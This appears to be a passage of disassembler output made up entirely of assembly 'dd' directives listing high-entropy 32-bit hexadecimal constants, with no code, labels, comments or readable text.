		dd 92FF74EDh, 31CA89A3h, 3653CE30h, 27496A4Dh, 0A1D967C5h
		dd 5B5B8B90h, 0E1DAB951h, 5902A4h, 0EB8EE332h, 0DB8A6C59h
		dd 0DBEF9C07h, 4EF494Ah, 0AA6E7515h, 2061B39Ah,	0E7096265h
		dd 49D37D94h, 21BE0CA4h, 1EF20194h, 2C75A490h, 75A4DEC1h
		dd 0F08C0FB1h, 0B235B902h, 0C562781Ah, 0DCCB9A55h, 8BD81AD7h
		dd 85161769h, 69FF98A2h, 0FF495F0Fh, 4C860D31h,	7D5901E6h
		dd 0C6D318F6h, 335367D7h, 0CC66B9CBh, 8BF14535h, 49912B24h
		dd 13D0AAD2h, 52EB9F1h,	0F7D56145h, 5EF85774h, 2D57ED87h
		dd 21876452h, 0CA74C3B8h, 0B55721C4h, 0CECEBB4h, 715E85EAh
		dd 0AFB45AE3h, 5204807Ah, 4105193Ch, 0B78DCF11h, 187D2A9Ch
		dd 0CA9FF220h, 0E68D9A34h, 467A86ABh, 89BFF78Ch, 61BEB4EFh
		dd 2F7FE724h, 439D37CDh, 8B5223ACh, 123C651h, 0C13508Bh
		dd 5DF07565h, 5095354Dh, 62CB0976h, 3B33B8B0h, 35E2C17Ah
		dd 8EB324D5h, 13E3AA5Bh, 0A78758C4h, 0F1F3045Fh, 47C72A95h
		dd 3F5C2627h, 0CC19B5E6h, 52D92E88h, 0DAFFE93h,	63DB3D79h
		dd 3863DB44h, 3F0E645Bh, 9FE68693h, 68E4E15Dh, 502A37B2h
		dd 0FD9CFA86h, 3C6129F6h, 0FDD4B6E2h, 7550BFA6h, 0D2828247h
		dd 0F2310C56h, 0A7945618h, 0F8BCBBEBh, 8EA83CC4h, 92B212AEh
		dd 8BED0D96h, 0D40BA104h, 0CBB44992h, 22C3700Ah, 35EF0637h
		dd 0B4972640h, 0EC5A7B03h, 0B8A53E15h, 9789CB1Dh, 7C48CC20h
		dd 0C8F94530h, 33DEB15Ah, 0B685291Ch, 83BFB685h, 0E00C7F3Ch
		dd 9EBBAEDBh, 0FDAABF83h, 3C83B88Eh, 190846DCh,	677FE4B9h
		dd 0C9C324F4h, 20170996h, 53E72900h, 76523A3Fh,	0D1DF583Eh
		dd 87BF2F70h, 95055AADh, 18CD8619h, 332103FFh, 11E00E16h
		dd 7F97CDFDh, 18458052h, 0BD0968E8h, 0DD4DF9A0h, 89D6AA7h
		dd 2B719BF4h, 914D9DC8h, 58E6BC4Dh, 0D93D5D43h,	0FC39F378h
		dd 0A1810A99h, 0F5E0E851h, 6AF5CF70h, 8787EF0Ch, 5240FC5Bh
		dd 630A9A50h, 97616604h, 0E7AFF39Ah, 4BA7FEFCh,	0B83001FAh
		dd 5BF58BF3h, 0ECE62497h, 0ED56D8Eh, 274EE1F5h,	0F0638889h
		dd 0E24D6DC9h, 0D3D8F3B4h, 9ABF4324h, 1BBE29E9h, 3FD4D0F2h
		dd 1880731Fh, 6115A4BCh
		dd 0AE2A6B6Bh, 2C2E016Ch, 0D12E1135h, 61E5AD5Ch, 0F3C7C938h
		dd 383E95B0h, 4715A93h,	778CFC15h, 98451136h, 7868B2F6h
		dd 0E4CEA2FFh, 0C33B5621h, 5D90A273h, 31F3DD69h, 0B761589Ch
		dd 98B7BAE1h, 0C414CC17h, 21AAFC61h, 2030BB26h,	8BECA82Fh
		dd 0F1EDC80Fh, 725DD07h, 819FDC7h, 5E3A8819h, 0C9337DACh
		dd 87D44510h, 62A9D52Fh, 111428E2h, 0BAFE3E59h,	6EA9447Ah
		dd 21F23F83h, 0FC63C9FFh, 0D9262C98h, 4C352924h, 0D26AFE3Ch
		dd 0BC234CCCh, 0E58087F3h, 0CC84AFD1h, 0D53C6B3Ah, 80CE9C81h
		dd 22900E2h, 425634EBh,	400D7DDAh, 636EA2B4h, 0B71DD579h
		dd 3558526Ch, 700248B9h, 7FF09D61h, 4FF07D68h, 0D56968B8h
		dd 833EFA48h, 5DE391DFh, 4481C7B8h, 0A597F32h, 687F7475h
		dd 2AE05768h, 3D29A374h, 122E6D22h, 56529C71h, 8DB7E68Ah
		dd 53FF135h, 0EB224C23h, 8833321Eh, 2678D315h, 4D402978h
		dd 3E4B5D0Eh, 43A24AA9h, 284EA4BFh, 0C6A88ABDh,	41062D94h
		dd 0E7EBEDC2h, 0E2D6A476h, 0F4600A2Eh, 0BEA377A0h, 0C0E1A86h
		dd 6BC10117h, 6C23227Bh, 0E48C6C49h, 4465EC64h,	0FC596A3Ch
		dd 0C7ABD08Ch, 0FDF80ED7h, 0CB60093h, 0EC000095h, 8BB7FF40h
		dd 657BF926h, 919E2266h, 0AB379FA9h, 50CAE8C7h,	37FE75B7h
		dd 6FA53301h, 8739C28Eh, 95ED61BFh, 835B0B4Ah, 5A32F880h
		dd 4940CC87h, 4B566D6Fh, 62C3062h, 7461372Eh, 2CBD05D1h
		dd 8B563C68h, 60310903h, 63B2B0F8h, 289EEEC6h, 3B4F799Bh
		dd 0BEACFEF3h, 0A2072679h, 0FA38E392h, 17CA0534h, 0E3C48399h
		dd 0F5760123h, 0BBBEB445h, 60272126h, 8E05B700h, 0A896B129h
		dd 0BF0AE5AEh, 0CE85C69Eh, 0EB64807Fh, 96FECA6Eh, 0AC0BE233h
		dd 4C53E1BBh, 4AE4F228h, 4C68A82Fh, 2E2B69ECh, 9DCE5C8h
		dd 0F9C674C3h, 4176E0EEh, 8FBE4136h, 0B796EF1Fh, 213282Ah
		dd 0F65B5DA7h, 734AB0A9h, 0ECF62746h, 2950CA22h, 763D9C42h
		dd 3B7116EEh, 0CD014B47h, 4B806AAEh, 3D3C7131h,	0F3F590B1h
		dd 98F43E22h, 24556B94h, 0DAE6916h, 93C5D405h, 5737F78Bh
		dd 0A8670880h, 6D6BCEF6h, 1B5F19B9h, 639159Ch, 92C39CBEh
		dd 772790D3h, 0CCEE517Dh, 36A9A78Ch, 0A24439C3h, 64F1B520h
		dd 0C8F83B7Fh, 0C784E6CBh, 862A5D10h, 17A74A16h, 0B8B4DCE2h
		dd 0DFF63819h, 88FA1FAEh, 0AD6B908Dh, 36B42063h, 0AF560CF7h
		dd 0DACF5C5h, 639304D2h, 9B09C032h, 2E7F597Ch, 8ECD4833h
		dd 407FACEh, 0CC71372Bh, 0EA743B7Ah, 53050E64h,	9574E3A2h
		dd 902942D6h, 635C822Eh, 73777AFBh, 69CFD8E4h, 405DD798h
		dd 86C11B42h, 0B5F55BA0h, 376971D6h, 0E8C0CAE3h, 0A6FF7BC8h
		dd 9C1510B7h, 2392D0FEh, 0E7D07AABh, 0BFF08841h, 0C9D64906h
		dd 59C1E262h, 0A7E782F8h, 37E7D5DBh, 0F176E7A7h, 0EFA8B4DDh
		dd 0EF74F3DDh, 7160C7CBh, 7DAFAB34h, 0A8AF2752h, 8135452Dh
		dd 0F1F8E1A1h, 7C48A2D1h, 0D5A56A1h, 3B4EA9AAh,	7B0A2FA2h
		dd 0C4E8F38h, 0A9FD2713h, 7568CDC2h, 33CA0CAFh,	0ED39CCABh
		dd 3986709Ah, 58A94D89h, 0E80AC364h, 8FBA8173h,	4BEBA061h
		dd 6578B376h, 0AEE962B6h, 64C7401Ch, 0D3FECB1Fh, 0EF6B44D4h
		dd 0D831D82Fh, 0CC6F83CAh, 512E42E3h, 7CA4D433h, 0B985DD2Dh
		dd 0B591F6DCh, 807DD250h, 1B96078Ah, 7D47962Eh,	7EB9D8AAh
		dd 0D4E3D623h, 0AFD1089Dh, 0C24BE58h, 6505028Ah, 5B4B0310h
		dd 0FE6D9FC2h, 3E3DBB9Eh, 86C80336h, 6592B5B6h,	0F54B21E7h
		dd 0F986647Ah, 873D1D5Ah, 184B915Dh, 92B4F162h,	1245E24Eh
		dd 0AC08B81h, 0EE819C25h, 0EAFF1D09h, 7935195Ah, 8458BF28h
		dd 678E7741h, 0D07AB1A3h, 73BE42B5h, 0E822AE43h, 4A978344h
		dd 0E998ABB0h, 1C799A50h, 0EB82B771h, 29AB7FA6h, 5EC96DB0h
		dd 37B206F2h, 0BC230FE6h, 7E607996h, 0EC89459Bh, 779C478Eh
		dd 12A0DFBAh, 53896248h, 0F479FA3Ch, 3AD79E8Bh,	22FB1B33h
		dd 75E0A810h, 0D1B3F72Ah, 54705289h, 3635CAFh, 0EDE117E1h
		dd 0B719C2F6h, 17DD7CF2h, 83BCF4B0h, 0F93B4C6Ah, 99B08CB3h
		dd 24B1CBD7h, 0EED4BFC1h, 10E5656h, 8276EECCh, 31C8DBB3h
		dd 6D38877Bh, 7C4CA453h, 58A887FAh, 0BF9005ACh,	17833Fh
		dd 0B8B6B938h, 0AA200E7Fh, 0CD4E9200h, 433FCE75h, 2CE94033h
		dd 7F6CFF8Eh, 101F5B2Ch, 0F4E1A3E7h, 0CCBF8752h, 2116D0B5h
		dd 50682F7Ch, 21A00A48h, 43EE3CB7h, 311ED88h, 1A35AF8Fh
		dd 7AA83AB1h, 4F3D630Ch, 2238E736h, 0ED96440h, 0C1BF40E8h
		dd 34FDA712h, 8AF08C75h, 0EBB6487h, 610F293Ah, 0DC352B7Bh
		dd 29073B92h, 0D7F72D7h, 16751944h, 0C276EE1Ah,	0CA6491D2h
		dd 982C4271h, 0E13DADC0h, 53323CFEh, 0E33756AAh, 3641753Ch
		dd 5BDF80D5h, 0F40D4F25h, 1D14ABDCh, 77ED7E4Dh,	0F964FDC5h
		dd 3F30A65h, 70091705h,	0F69733C0h, 9650DACDh, 4C7099F1h
		dd 7AEF1DBh, 62C47CA1h,	78B91464h, 434C5178h, 386B5109h
		dd 1E8069ACh, 0F59FB3EBh, 850FA0EDh, 4D761397h,	0F2BFD5E3h
		dd 731F4719h, 0EE643AF5h, 0EA845969h, 0C55E5E77h, 12F84EC7h
		dd 471D8461h, 0F769985Dh, 25758CF2h, 604B1B69h,	0D8EED506h
		dd 0A6842821h, 49940C68h, 51392573h, 44546456h,	0B6C977C7h
		dd 8F0897CFh, 58FE1B58h, 4236F7B8h, 838BD3A8h, 7670885Fh
		dd 5FD5A829h, 0C6E3686Ch, 0F0CC6D99h, 0C0B9095Ch, 0DF2E2662h
		dd 3E0E5188h, 0CBAC5F5Ah, 1EE9DCC8h, 96EE7494h,	0E05D3AE4h
		dd 0E75A5B0Eh, 7A00E282h, 7095F9FAh, 50D8D9FEh,	0CE9D93ACh
		dd 8402C949h, 652084CDh, 0BC82BF7h, 666741B7h, 0BA945264h
		dd 3C7DC147h, 8701E2D3h, 1C6E1C90h, 8E015E74h, 0CC0BF938h
		dd 0FE5262B9h, 0B0EC314Bh, 5814DCE3h, 32A11A59h, 7D36CDF5h
		dd 0CE7082Ah, 9BD53F8h,	40F7F244h, 62BB3C5Fh, 0D6D0EDA3h
		dd 8C34D3D6h, 57FEF105h, 333DFEB9h, 0BB078706h,	4E0FEDF4h
		dd 59099A95h, 1A95C733h, 5EA63956h, 45D6037Dh, 5556166Eh
		dd 4F54C8E8h, 46425F5Bh, 0F6C7F4BFh, 80C79CDFh,	4C0B6E69h
		dd 711CF5Ah, 88C5F04Eh,	9A0AFE5Bh, 0F3298EFCh, 0C4EE3ECBh
		dd 82E899DFh, 506CAF24h, 932124B1h, 0F25C8D52h,	2BACBE6Bh
		dd 0E3DC3619h, 60701905h, 72C7B0C7h, 0EE174CBEh, 54F3042Ah
		dd 0FE065040h, 3783F8BAh, 5342B0E4h, 0F619ABDBh, 0D5A9D00Ah
		dd 10CA2C36h, 0D51B706Dh, 3CC36852h, 0C4BB00A7h, 0CD3A0530h
		dd 857C2844h, 80BC9624h, 0C26352DCh, 0BB8D577Eh, 5B1B3CA1h
		dd 3F223B7h, 0B4A8132Ch, 569B6B3Dh, 0B248EB6Ch,	0D81EBFB9h
		dd 43FFC800h, 7D00F79Dh, 0BEA48CEAh, 9F7633FFh,	0AED433AEh
		dd 948835DDh, 45B61489h, 547BBB3Ah, 0D6BB404Eh,	14725D5Fh
		dd 30AB21C7h, 9B4C39F0h, 0DEAD0E51h, 3D231AFFh,	0D860B9F8h
		dd 3F04CBF0h, 0C21460Eh, 1538D26Eh, 2FB3CEDBh, 4E6782CEh
		dd 1B015FF0h, 0CD5E79C2h, 6A69A894h, 0F6430E3Bh, 0B9410B9Dh
		dd 36A1E1E3h, 42DFDE64h, 7CCA92A0h, 66DDA641h, 0CDD2091Fh
		dd 81505BC5h, 249E0617h, 770DBC1Fh, 0C7709A05h,	288CD5C0h
		dd 4A888601h, 0A9A870E7h, 0F63B86D6h, 1FB22C08h, 7972516Bh
		dd 5A8B7F6Eh, 4A11CFC5h, 0BA43E2Ch, 98CE236Fh, 0F3F8BC34h
		dd 0ABFE347Fh, 0BB648020h, 959AE9F8h, 3204020Eh, 0D9CF7737h
		dd 0E3F33C4Bh, 1AB61E57h, 0A4D28076h, 73388F66h, 81F9804Ch
		dd 0F1BE89F1h, 6EF1CB8Ah, 1BCA0886h, 2955D42h, 0ABF750F3h
		dd 76F80893h, 13327ABEh
		dd 1D026324h, 4431F26Dh, 0C89E92F0h, 1AF841F7h,	539A262Dh
		dd 9A7A7B25h, 0ED905CAh, 0C647423Eh, 0B11AC869h, 0F84DF81Eh
		dd 0A73A74E5h, 0DA4C55B8h, 4A87AD12h, 8B418642h, 6F8634DDh
		dd 4177F6h, 0AC068026h,	85A529A1h, 9355E4E0h, 9C82B4EAh
		dd 322574F4h, 0A92D8DEh, 165EC5FCh, 0ADB4D270h,	3C9069A3h
		dd 95528D43h, 0E8F42761h, 0C53FC0B7h, 9205A4B2h, 5C142B7h
		dd 39D0A711h, 8273A209h, 7A6BE61Dh, 9ACD7849h, 0F0794077h
		dd 16853D77h, 0EDA96C2h, 60470FE1h, 1BCBF3CAh, 28366DA0h
		dd 3A9E285Eh, 98FB4BEBh, 6BF7E558h, 18814530h, 34F79386h
		dd 2897B226h, 44EA30B8h, 55A90890h, 0C32F6686h,	3010DF01h
		dd 0B3C1B4CEh, 95C64Bh,	6DE0520h, 439321FCh, 82BC4E7Fh
		dd 0C525D561h, 142F1CA5h, 0E86D7736h, 6436BCE4h, 0B3E34851h
		dd 5AE2A671h, 0CD3ABB1Bh, 32EECBADh, 3F5B4978h,	7C772DEFh
		dd 0BACB5D45h, 24C54999h, 0B03E528h, 3CE463EFh,	74AAFD2Eh
		dd 11C8196h, 4249EC45h,	34646804h, 44A1B299h, 66B8BA5h
		dd 0B8578A62h, 2FB162DEh, 963DD8FDh, 0EB0AEA9Ah, 2289A6Bh
		dd 40A368A0h, 0AFE42950h, 0E2D0A625h, 9BFF31ACh, 0B0B95268h
		dd 0BFC0E3C5h, 3D586B9h, 0F5829035h, 9B5E181Eh,	0EF580495h
		dd 39EDCDE0h, 0B4FBA62Ch, 0AF242408h, 5586F791h, 5335524h
		dd 0CC06B827h, 0CA18EF6Ah, 0FF5B3D71h, 0BC04602Fh, 742502C1h
		dd 9140A306h, 283E5C71h, 864627D9h, 7D6E9F88h, 4C10B570h
		dd 61F7256Ch, 0AF1D940h, 68E13DF9h, 0A0AAE504h,	5E3F1BE5h
		dd 0D90F7503h, 337E0B4Bh, 5F67851Fh, 4A6BF2BAh,	0DC5FFA7Fh
		dd 8156DA9Bh, 9C613832h, 4B37B1CEh, 5AE46813h, 189074AFh
		dd 6DEC3E16h, 8A5C4181h, 0EEEF1665h, 0AC97ABF7h, 6BA9183Eh
		dd 97E02E6Bh, 0C5481626h, 8492B148h, 4ED469B8h,	0A13C12F0h
		dd 0E967AEE5h, 5BE8988Eh, 0C630E221h, 7433669h,	612C3DDh
		dd 0C5FCE46Ah, 829B6030h, 3F3B38F5h, 8457A1A3h,	126A328Bh
		dd 97F041D0h, 6D87EC88h, 0C131C48Ah, 9BC377A3h,	0F7AA28Bh
		dd 40A4C0BEh, 0FFD17BE4h, 5339B5E8h, 0AD8627Bh,	61ECCE4Eh
		dd 0CB35FB21h, 246F4C47h, 3B20810Ah, 0B678AAF8h, 937ED068h
		dd 8E658B17h, 5D787BEDh, 47C6CF73h, 8C1AFB9h, 965B2A4Ah
		dd 0A78CA608h, 0C1BD7E5Dh, 9402E0C1h, 0B8E39AE7h, 0B97E2386h
		dd 0ABC9536Dh, 278AA982h, 7B49D1B4h, 0DE59AA27h, 0B4CBEF54h
		dd 0AA16C562h, 0FF9772EAh, 4586B279h, 3B40ACF2h, 62614110h
		dd 119A9823h, 1262872Ch, 0C31AAEA1h, 0A598866Eh, 8B3D4973h
		dd 5BC3F49Dh, 584EFFBDh, 0C51E260h, 722AD3CDh, 0A131363Fh
		dd 0A3BC2563h, 847041D6h, 1F420D5Fh, 0DBA30C8h,	9390D6A6h
		dd 93A1E9A5h, 533C4997h, 0B29091B7h, 6AB7CB29h,	0F25A6AFBh
		dd 3A1240FCh, 0F9C60EBAh, 6F4C437Dh, 9BA6D2ECh,	68AE638Dh
		dd 3E394394h, 0A70FFE5Fh, 410480DFh, 13592C8Ch,	46276B22h
		dd 0B791ACBDh, 0B260365Eh, 82FAD116h, 21611E4Bh, 0F0E02064h
		dd 1A9E170Ah, 6F045D3Ah, 97FBFC63h, 5021C830h, 4CCCEB8h
		dd 0FE481D9Ch, 0A65449B7h, 0B85EC8D0h, 0A17B84F0h, 0D941B2D1h
		dd 3176D042h, 0DA29DF2Bh, 7A8B712Eh, 0D7AA2A90h, 79301928h
		dd 6DEE4C8Dh, 0FCC83AC7h, 3CBEAAEh, 0F3698D6Dh,	4FEC82E5h
		dd 8795FAC1h, 0DB89FD02h, 4C607731h, 1DB782A1h,	6D99A5C3h
		dd 1D39C789h, 567AEB54h, 0E2B315FEh, 9BAF7C94h,	94A0E66Bh
		dd 0A323849Dh, 551C236Dh, 53240F92h, 0BCC2311Dh, 0E3515909h
		dd 6E0C910h, 327E6BFEh,	0D7609262h, 8F0F579Ch, 18967C31h
		dd 1E81854Eh, 992B0218h, 51B2048Eh, 0A87B2710h,	9BF272C3h
		dd 0B1CA0D77h, 0C2FB41B2h, 2E0EA562h, 4F64D459h, 7E822E64h
		dd 13C25E0h, 208D09EAh,	67E13C92h, 39F1879Fh, 88ABF77Fh
		dd 0BF7F0DCEh, 3DDC507Ch, 27CDC537h, 25AF8D09h,	91E239CCh
		dd 3C4782B4h, 0F65B1E1Fh, 7A7E87F3h, 176A8DE7h,	2D59FFAEh
		dd 30F5D8B8h, 0A67DDE66h, 31473A9Dh, 79914748h,	0C127C3Ah
		dd 0AAB30391h, 7C2A3657h, 8285D218h, 0B14019C2h, 0E1A57622h
		dd 4017C194h, 0C61F8E3h, 0F326C9D3h, 5A0C979Dh,	56E63E53h
		dd 57E550B1h, 0DB8365DBh, 0E54BE507h, 8620B18Fh, 0EEBF1E35h
		dd 0BFEFBA51h, 0BBF9356Fh, 21FF3314h, 4EE18F5Bh, 0B7CDD1E4h
		dd 0D436A79Bh, 0A0B96B5Dh, 3AD272DEh, 74C7611Fh, 757217Fh
		dd 17162063h, 90E8E75Eh, 485939A6h, 5801074Dh, 51BA64BAh
		dd 0AAB070A7h, 80631944h, 0FF7C90AEh, 1BFA4140h, 39A8CD9h
		dd 0AC99E467h, 0C9342F04h, 6C19DD88h, 1064AE27h, 0AFAABB8Eh
		dd 28B3C7A1h, 4F883A6Ah, 0F0CFEEF3h, 0C7A0561Fh, 8C664D27h
		dd 2E916781h, 0BFAB11B7h, 2CF5EE71h, 21ECCBD7h,	0D62D828Ah
		dd 0DE95651Fh, 0F81C6E77h, 5D3F54A1h, 889409A5h, 0D9A8E724h
		dd 0E478EDCCh, 8D846029h, 0CA2A16D4h, 3CEA69ECh, 0CA224B9Eh
		dd 3BCA8530h, 57B26986h, 0DDF42BEh, 2D576408h, 734A7ACFh
		dd 639F2AFCh, 99CC93B1h, 9F9513E0h, 1494F933h, 0E16EB0A3h
		dd 824ACCC5h, 6EBAEA12h, 0A3E9A444h, 4198C8B0h,	4A2C8EECh
		dd 0DD11E118h, 0A05110F7h, 0CD49FD83h, 0DB23D26Ah, 0BE0883F0h
		dd 2C32B08Fh, 6AE002CCh, 133F526Fh, 719EEEAAh, 0F4D25770h
		dd 950728A2h, 0A498DE99h, 508F8C7Dh, 0CC8B5137h, 0EED4BF9h
		dd 7D7377D7h, 0F1263B33h, 6D3CBBBCh, 83F6E8A5h,	6A057188h
		dd 0B2B2089Fh, 664A8F81h, 40A7451Dh, 846EC2F7h,	648B46Fh
		dd 9A9F7283h, 5E48CFD9h, 775866BDh, 6ECD1B17h, 2DADC447h
		dd 66770A65h, 0CC4EEDE1h, 23DB9BB9h, 1161D302h,	0DF337032h
		dd 8443791Eh, 6B727C42h, 0C4CFD2F1h, 0C9157673h, 62BBC03Eh
		dd 2863DE6h, 85660267h,	94F30207h, 7442D384h, 8184D05Eh
		dd 0C0E4645Ch, 2EB9F101h, 5DD2B5EDh, 10228C01h,	7F131C07h
		dd 0FFC84288h, 985C4936h, 0D9F4C59Ah, 0C0ED53EFh, 6DCCE72h
		dd 78F33126h, 0EAC23333h, 933BEA90h, 0E644A9CEh, 0F331899Bh
		dd 0E1683083h, 9C4D68F3h, 0C2216D3Eh, 579D6498h, 0C864C775h
		dd 45228794h, 0F80C68A4h, 7C993CCh, 1AC70D99h, 0E9086A2Ch
		dd 43CEA0E7h, 1FC1EB69h, 14FFB168h, 0A8129146h,	82FEBFA2h
		dd 0AB75F455h, 1D64C036h, 0BC4AC192h, 8EF4ED0Dh, 7DC27DCBh
		dd 0B983937Bh, 3630F22Ch, 87BE0878h, 59AD1530h,	2014210Ah
		dd 45D7E15Bh, 1FCFD228h, 5574F7Fh, 2AC462A3h, 0C5F65A29h
		dd 98DCBB0h, 970F5823h,	410A62ABh, 0BA17A921h, 34665355h
		dd 0E4E4CB74h, 0F153AC6Fh, 563A2B12h, 90DD1A14h, 27A60AFBh
		dd 3E94015h, 0F8F18232h, 4D913396h, 9FBC8321h, 0EE730D20h
		dd 3B7BB7ECh, 1E18AD90h, 0E9D23E53h, 0B17F1F5Bh, 17E5C724h
		dd 2E6E46B8h, 0F5AE1295h, 0C82D8D55h, 90D2B310h, 1BC3D960h
		dd 0AF25D4ABh, 9D2F73E7h, 0D4D6667h, 15BDA286h,	0F15967F7h
		dd 7518C9B9h, 87555DC4h, 3D7306E4h, 7BEAC85Ch, 6C3732CEh
		dd 26541FC8h, 0DF819E8Eh, 24EB0946h, 0E77E7036h, 0DDFF7481h
		dd 8FEC7DA4h, 0ED14C953h, 17A11B6Ah, 3588F86Ch,	0E68DB7Bh
		dd 0FAA4CCF5h, 6A6F6095h, 687FD6D7h, 54D2735Eh,	0E5D2F607h
		dd 0A83221E0h, 0E45B0DB3h, 4296EBC9h, 8C901F1Eh, 0AB37FA4Dh
		dd 29874F50h, 118877F3h, 2BD1E67Eh, 0D736DE49h,	0D0893128h
		dd 0B8D1FB2h, 35221AF9h, 8AD78860h, 26FB6337h, 0FB48330Eh
		dd 8A0EB2C6h, 69088AC3h
		dd 5118FEB7h, 8FE99E05h, 57527AF3h, 0C8617306h,	5DBC0F9Bh
		dd 7ABE6368h, 8C9528E3h, 5B7A4241h, 62FF2B29h, 0E8EE0529h
		dd 18F8B0D1h, 0C01536E4h, 6A7C9530h, 30D7F30Bh,	7D830DBEh
		dd 5B49B52Eh, 0C311C6C6h, 262AD345h, 21D22B3h, 0C7F3E6C6h
		dd 64923F96h, 0D4AC7C08h, 6829C3Dh, 5A6F45C8h, 7F8ED3BBh
		dd 0F3C85C55h, 93D2E40Ch, 0CA886ADDh, 7770671Eh, 6E47A363h
		dd 72BE4719h, 2392C31Eh, 9E51AE5Ch, 47FFEE8Bh, 0E4176F82h
		dd 0D95E29EDh, 6676E6C0h, 7DB1DD72h, 3F313628h,	9518DEB4h
		dd 21B188C5h, 8362846h,	500BB543h, 0ECE64DC0h, 9B648559h
		dd 0BE63DDA2h, 7FDCEFE0h, 0F8EDD3B2h, 0F32E4AC1h, 0F4468B0Ah
		dd 80CEA88Fh, 1D421CE0h, 0CA4005F7h, 52FC30CFh,	73DE09F2h
		dd 7C3063D0h, 7C952E10h, 85DBDEBCh, 3887A6Eh, 5C46807Bh
		dd 5C0EC677h, 0B2B041D5h, 8685A34Ch, 0F4E85A0Dh, 8D6D1F12h
		dd 63AFB5C5h, 57A09E35h, 0FB4EC3CFh, 6E40973Eh,	0FB510EDDh
		dd 785D442Dh, 2BAB73F8h, 247A50Eh, 0AB6D4946h, 0A4C2C5CAh
		dd 3F03B41Eh, 0D85A7BC4h, 5CE3EE07h, 758D21FAh,	819D59E3h
		dd 35F34809h, 0AC2B9471h, 0EE4E361Ch, 88765B3Eh, 0BB1174E4h
		dd 7CAFB6C0h, 499B4E6Dh, 3E15C134h, 0C336041h, 68BAA123h
		dd 0B2C24E5Eh, 34C31739h, 4EECCB1h, 6851618Bh, 6AB216F6h
		dd 711E7EEBh, 0ECA7F71Ah, 27FF7A11h, 1E4C84B2h,	93BAFD0Dh
		dd 0CEC292B2h, 78A4600Bh, 0EAD76B9Dh, 36BC011h,	9C43A5E6h
		dd 8364D45Dh, 0F6DAA91Fh, 28EBE196h, 4FC4DACAh,	8B359969h
		dd 0D145DC0Bh, 4D9F374Bh, 8DD0B724h, 0C3BD7DE2h, 76CB0999h
		dd 13627E5Dh, 0C9B835F4h, 389C7917h, 3921E34Fh,	5267579Ch
		dd 48DF6796h, 0AD6F8043h, 2970C5E7h, 0C9934738h, 35473AB2h
		dd 0C91556C5h, 86EFF44h, 61472A48h, 39936339h, 0A609EA53h
		dd 0A3E36A5Bh, 78BACB4Ah, 66F9C027h, 0DA5CEDA1h, 0DDF0A45Fh
		dd 5AD17CF8h, 297CD1DDh, 218C4328h, 63BDD98Bh, 4C9A05EFh
		dd 0F7837CCCh, 5EDC385h, 0C352B70Dh, 0E6794A51h, 0A3E79579h
		dd 8ABAA1FDh, 67F29A87h, 0B2A4963Dh, 0B9C4A3D5h, 0A17A6961h
		dd 0E4F8D4FAh, 7D50A53Eh, 42A0E7F9h, 1F982844h,	9BF1175h
		dd 9A0E9968h, 0D3597425h, 15F37035h, 0C9FEBCDFh, 0B089C850h
		dd 19543510h, 0C263825Eh, 8BE482B5h, 8E6AEE06h,	0CFD3E9h
		dd 5E36C033h, 776FDD3h,	0BC3C9811h, 0C97B4DF0h,	0A8E90A7Ch
		dd 4B8B2215h, 172BE9C7h, 9C5FB9BEh, 2349EFECh, 456F3951h
		dd 0B139888Dh, 0BAA628E0h, 0C7F340C0h, 908B40EEh, 0F1641223h
		dd 691733AAh, 544BD2B9h, 91BB32C3h, 291EE71Bh, 3C6E5DC8h
		dd 607898A7h, 3343862h,	7A09CAB7h, 7480D20Dh, 154EC65h
		dd 0C91CD65Eh, 0C9A0248Eh, 91C0609Fh, 0D8817E1Ch, 4AA2C6D6h
		dd 1892AA5Ah, 0A85201C5h, 2FFC63FDh, 0B7384F95h, 0A5D60ED4h
		dd 2A611255h, 5E484F47h, 891D9836h, 0B9638FE8h,	0C9471DF1h
		dd 78E66A2Fh, 12A90BBh,	0B4EDBEE7h, 4EC2FD7Eh, 0BB39F92Eh
		dd 0BDC0A426h, 995AD145h, 0C14E3095h, 5DA201Ch,	3994044h
		dd 15A42F3Eh, 0D69F5034h, 8209FC56h, 97A5D0CFh,	0EBB5FD2Ch
		dd 2892001Eh, 2000344Fh, 0FA61A4EDh, 0CE6CD43Dh, 64FC53CDh
		dd 33FD6BF0h, 0F0989FDBh, 6D3969D9h, 196BBDE8h,	0E2E6FA34h
		dd 855A62ECh, 3149A1EAh, 3A4281C1h, 0A6DF3CE6h,	8DA45AD5h
		dd 483472DBh, 0C872C6D9h, 6620AE9Ch, 59D42904h,	0CF81E1E2h
		dd 5E27C2D4h, 96516BFBh, 44EA64E1h, 1262526Eh, 0BA1E8CBh
		dd 2FB533EAh, 0B5EE0E5Ah, 5B68E8BFh, 0F1A104C2h, 0D0DAC049h
		dd 0A6B2982Fh, 3E893EE4h, 0E7B3BA9h, 0E0BE2C28h, 16012050h
		dd 37076452h, 0B28AC700h, 0E2FB207Ch, 29088C1Fh, 9904DB4Eh
		dd 73BDF0CBh, 0A2A2D52Ah, 362741E0h, 4FE39CD7h,	67750A9Ch
		dd 66AFCD7Eh, 0C043EF4Dh, 83FEE8BBh, 0F88CD4ADh, 6231E4A4h
		dd 0F8A175BBh, 66339C40h, 0A7974E62h, 0BD03EC38h, 0BE73958Bh
		dd 0E91C8A6Ch, 128B31h,	760E7778h, 2FD6DDEDh, 13499008h
		dd 567E8A16h, 0C63C4698h, 0B1FE7E15h, 7ED07C98h, 0F932C5F2h
		dd 444FD3D2h, 0F720CB0Bh, 6B967899h, 0CA3238Ch,	8025004Ah
		dd 0D80DEA2Ah, 9DEE08A6h, 0E59895B7h, 0DB85D37Fh, 0F187253Dh
		dd 0A8A2DC46h, 0A559DE75h, 0F9BE5F8Fh, 68A35134h, 0D8D5B4Ch
		dd 0B97A08E5h, 2CF54293h, 783A1EDCh, 70C95733h,	75B849DBh
		dd 8E21D9D0h, 9F99CBABh, 86CA9281h, 0A82B99FDh,	0DDF3609Fh
		dd 6972C033h, 872D1DA9h, 0C06D550Dh, 0A872B4BDh, 1C1BFBB4h
		dd 64336CCFh, 7FAC7276h, 64C5F1C5h, 81AE2F2h, 0DCA485B6h
		dd 986A17E0h, 25D610DDh, 6FF82A50h, 0B5F76853h,	0A9FF7B39h
		dd 58A9FDB8h, 0CA3E84B2h, 0E43E6B99h, 0D0D0E2D0h, 2995B70Ah
		dd 7B168D39h, 28C3244Eh, 0DA1F0115h, 421C4504h,	73F009C9h
		dd 0BBE5146Fh, 63EE11DAh, 95B5149Fh, 1BBA601Ah,	0EA4EDAE2h
		dd 36A2F39Bh, 0D8664E93h, 0B126017Fh, 8CF87A8Fh, 7D8D7824h
